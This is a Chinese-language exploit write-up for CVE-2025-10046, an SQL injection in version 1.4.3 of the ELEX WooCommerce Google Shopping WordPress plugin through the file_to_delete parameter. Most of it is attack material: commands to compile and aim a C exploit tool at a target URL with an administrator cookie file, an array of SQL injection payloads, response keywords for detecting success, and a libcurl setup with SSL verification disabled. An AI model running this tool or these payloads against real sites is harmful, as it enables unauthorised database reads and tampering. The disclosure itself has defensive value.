ELEX WooCommerce WordPress插件1.4.3 - SQL注入漏洞
漏洞概述
漏洞标题: ELEX WooCommerce WordPress插件1.4.3 - SQL注入漏洞
CVE编号: CVE-2025-10046
漏洞类型: SQL注入
受影响插件: ELEX WooCommerce Google Shopping
受影响版本: 1.4.3
注入参数: file_to_delete
漏洞文件: includes/elex-manage-feed-ajax.php
利用权限: 需要管理员账户权限
技术细节
漏洞位置
漏洞位于includes/elex-manage-feed-ajax.php文件中,具体在file_to_delete参数处存在SQL注入漏洞。
利用代码编译与执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 编译利用代码
gcc exploit.c argparse.c -o CVE-2025-10046 -lcurl
# 使用帮助
./CVE-2025-10046 -h
# 基本用法
./CVE-2025-10046 -u [目标URL]
# 使用Cookie文件
./CVE-2025-10046 -u [目标URL] -c [管理员Cookie文件]
# 详细模式
./CVE-2025-10046 -u [目标URL] -v -c [管理员Cookie文件]
|
技术实现
系统架构检测
利用代码包含系统架构检测功能,确保在Linux x86_64系统上运行:
1
2
3
4
5
6
7
8
9
10
11
|
struct utsname os;
// 系统调用获取系统信息
__asm__ volatile
(
"mov %0, %%rdi\n\t"
"mov $0x3F, %%rax\n\t"
"syscall\n\t"
:
: "r"(&os)
: "rax", "rdi"
);
|
SQL注入载荷
代码包含多种SQL注入测试载荷:
1
2
3
4
5
6
7
8
9
10
|
const char *pyL[] =
{
"UNION ALL SELECT NULL",
"AND 532=CONVERT(INT,(UNION ALL SELECTCHAR(55)+CHAR(55)))",
"UNION ALL SELECT 'INJ'||'ECT'||'XXX',4,5,6",
"or 1=1/*",
"or '1'='1'",
" HAVING 1=1",
NULL
};
|
响应检测关键词
代码检测响应中包含的特定关键词来判断注入是否成功:
1
2
3
4
5
6
7
8
9
10
|
const char *word[] =
{
"SQL syntax",
"Warning: mysql_",
"Warning: mysqli_",
"unrecognized token",
"feed_meta_content",
"manage_feed_data",
NULL
};
|
网络请求处理
CURL配置
利用libcurl库发送HTTP请求,配置包括:
- 设置POST数据和参数
- Cookie管理
- 超时设置
- SSL验证禁用
- 详细的请求头配置
内存管理
使用自定义内存管理结构处理服务器响应:
1
2
3
4
5
|
struct Mem
{
char *buffer;
size_t len;
};
|
系统要求
- 操作系统: Linux x86_64
- 依赖库: libcurl
- 权限要求: 管理员账户访问权限
安全影响
该漏洞允许攻击者通过构造特殊的SQL注入载荷,在具有管理员权限的情况下执行任意SQL查询,可能导致数据库信息泄露、数据篡改等安全风险。